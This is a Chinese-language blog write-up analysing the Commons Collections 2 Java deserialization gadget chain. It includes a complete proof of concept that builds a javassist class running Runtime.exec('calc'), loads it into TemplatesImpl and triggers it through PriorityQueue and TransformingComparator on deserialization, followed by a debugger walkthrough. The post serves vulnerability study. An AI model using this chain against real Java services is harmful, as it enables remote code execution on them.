前言
最近日tp去了,但是Java也不能落下,之前分析了cc1的利用链差不多搞懂了造成Java反序列化的基本原理,这里把cc2看下加深下印象,话不多说,直接开始
基础知识
PriorityQueue
PriorityQueue()
使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序
实例
import java.util.PriorityQueue;
import java.util.Queue;
public class Person{
public static void main(String[] args) {
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(2);
priorityQueue.add(1);
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.poll());
}
}
简单来说就是对插入的元素进行一波排序
getDeclaredField
参考:https://www.nhooo.com/note/qa0zm7.html
获取类或接口中的成员属性(不管可访问性,仅用于当前类,而非当前类可能继承的基类),返回值为Filed对象
Field
•get 返回该所表示的字段的值 Field ,指定的对象上•set 将指定对象参数上的此 Field对象表示的字段设置为指定的新值
表示字段,属性,变量
Field[] getDeclaredFields= clazz.getDeclaredFields();//获取所有属性(包括私有属性)
TransformingComparator
作用跟ChainedTransformer差不多,主要是为了排序
Poc分析
参考:https://www.cnblogs.com/nice0e3/p/13860621.html
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
第一段poc
我们把poc分成几段来看
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//默认的类搜索路径
ClassPool classPool=ClassPool.getDefault();
//将一个类的路径加到搜索路径
classPool.appendClassPath(AbstractTranslet);
//获取一个ctClass对象
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
//classPool.get根据类路径获取CtClass对象
payload.setSuperclass(classPool.get(AbstractTranslet));
//setBody:将方法的内容设置为要写入的代码
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
这里动态的创建了一个类,并且把RCE用的代码加入到了其中
这部分使用的是javassist相关的知识
参考:
•https://www.cnblogs.com/jpfss/p/11060296.html•https://www.cnblogs.com/rickiyang/p/11336268.html
第二段poc
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl对象的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
这里获取的字段我们看一下
这里是一个私有属性这样使用getDeclaredField而非使用getField的原因就搞明白了,后面会用同样的方法设置_name字段,既然设置的是这两个字段,我们找一下这两个字段有什么作用
在Templateslmpl类中的方法有一步调用,这里给__class[i]
进行了赋值,我们看一下__class[i]
在当前类中有什么调用
我们debug一下
可以看到,这里对我们定义的payload属性进行了一波实例化
这段进行实例化的话就会直接触发RCE
第三段poc
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
因为这个是一个私有方法,现在需要考虑的是如何调用到这里
在newTransformer中对getTransletInstance方法进行了调用
我们使用InvokerTransformer反射调用newTransformer即可,但是后面用到了 TransformingComparator有点懵
我们跟进进来,在compare中有一步是调用transform方法,而这个compare方法就需要用到PriorityQueue中的siftUpUsingComparator方法
这个方法会在同类下的siftDown调用
然而这里会在heapify中调用
这里又会被readObject调用
第四段poc
这里直接把queue设置为内置恶意代码的实例对象
这样调用的时候就会调用到恶意代码,基本流程清楚了,debug一下
debug调试
我们在795行打一个断点
调用到heapify方法
这里已经成功设置了queue变量的值,并且在调用siftDown的时候进行传参
当comparator不为空的时候调用siftDownUsingComparator方法
因为这里传入的是TransformingComparator修饰后的是InvokerTransformer对象,所以这里会调用到compare方法
可以看到,这里调用到了transform方法
这里就会利用反射对TransformerImpl对象的newTransformer进行调用
这里就会调用getTransletInstance()方法
这里_name不能为空就可以调用到defineTransletClasses方法
这个方法的主要作用是设置_class的值,设置后跳回到getTransletInstance
这里就会对我们传入的恶意代码进行实例化导致RCE
总结
•导致命令执行的核心部分只有用到javassist的那段代码•从javassist结束后到读写文件前的部分都是设置值,目的是为了让poc可以按预期运行•_bytecodes
字段被设置为恶意类,最终会赋值到_class
,name和comparator字段仅仅是为了过掉if条件语句•恶意类用AbstractTranslet仅仅是因为了类型转换,这里涉及一个多态的问题•对比cc1的链子,这个链子用到了javassist
本文始发于微信公众号(稻草人安全团队):CommonCollections2利用链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论